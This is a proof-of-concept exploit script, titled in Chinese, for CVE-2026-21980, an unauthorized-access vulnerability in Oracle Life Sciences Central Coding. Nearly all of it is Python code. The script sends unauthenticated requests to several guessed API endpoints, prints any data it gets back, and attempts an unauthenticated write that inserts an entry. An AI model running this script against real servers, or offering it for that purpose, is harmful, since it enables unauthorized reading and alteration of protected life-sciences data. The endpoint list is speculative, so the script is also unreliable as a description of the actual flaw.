CVE-2026-21980 Oracle Life Sciences Central Coding未授权访问漏洞

import requests import sys # CVE-2026-21980 PoC - Oracle Life Sciences Central Coding Unauthorized Access # Target: Oracle Life Sciences Central Coding Platform Component def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-21980 This PoC attempts to access protected endpoints without authentication """ # Common endpoints that might be affected endpoints = [ "/api/platform/data", "/platform/api/v1/coding", "/api/v1/coding/entries", "/platform/data/export", "/api/coding/submissions" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Content-Type': 'application/json' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-21980 - Oracle Life Sciences Central Coding Unauthorized Access") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Try to read data without authentication try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {url} - Status: {response.status_code}") print(f"[+] Response preview: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {url} - Status: {response.status_code}") else: print(f"[*] Endpoint: {url} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {str(e)}") # Try to modify data without authentication print("\n[*] Testing write operations without authentication...") write_endpoint = target_url.rstrip('/') + "/api/platform/data" payload = { "action": "insert", "data": {"test": "unauthorized_entry"} } try: response = requests.post(write_endpoint, json=payload, headers=headers, timeout=10, verify=False) if response.status_code in [200, 201, 204]: print(f"[+] VULNERABLE: Write operation successful - Status: {response.status_code}") else: print(f"[-] Write operation blocked - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error during write test: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21980-poc.py <target_url>") print("Example: python cve-2026-21980-poc.py https://target.example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)